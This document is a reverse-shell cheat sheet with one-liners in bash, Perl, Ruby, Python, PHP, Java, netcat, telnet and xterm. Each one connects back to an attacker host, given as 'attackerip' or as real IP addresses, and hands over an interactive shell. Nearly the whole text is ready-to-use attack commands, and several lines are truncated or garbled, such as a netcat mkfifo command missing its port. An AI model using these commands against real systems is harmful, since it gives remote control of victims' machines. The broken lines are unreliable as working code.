Reverse

There was some code collection can easily reverse a shell , collect from network.

  • BASH 
bash -i >& /dev/tcp/X.X.X.X/443 0>&1

exec /bin/bash 0&0 2>&0

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done

exec 5<>/dev/tcp/attackerip/4444

cat <&5 | while read line; do $line 2>&5 >&5; done

while read line 0<&5; do $line 2>&5 >&5; done

/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1

/bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1

  • PERL

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

for win platform

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

#perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’

  • RUBY
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

for win platform

ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

  • Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("150.95.138.171",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

  • php

php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'

  • JAVA Reverse Shell

r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

p.waitFor()

  • NETCAT Reverse Shell

nc -e /bin/sh attackerip 4444

nc -e /bin/sh 192.168.37.10 443

If the -e option is disabled, try this

mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe

/bin/sh | nc attackerip 443

rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/

If you have the wrong version of netcat installed, try

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f

  • TELNET Reverse Shell

If netcat is not available or /dev/tcp

mknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe
  • XTERM Reverse Shell

Start an open X Server on your system (:1 – which listens on TCP port 6001)

apt-get install xnest

Xnest :1

Then remember to authorise on your system the target IP to connect to you

xterm -display 127.0.0.1:1

Run this INSIDE the spawned xterm on the open X Server

xhost +targetip

Then on the target connect back to the your X Server

xterm -display attackerip:1

/usr/openwin/bin/xterm -display attackerip:1

or

$ DISPLAY=attackerip:0 xterm

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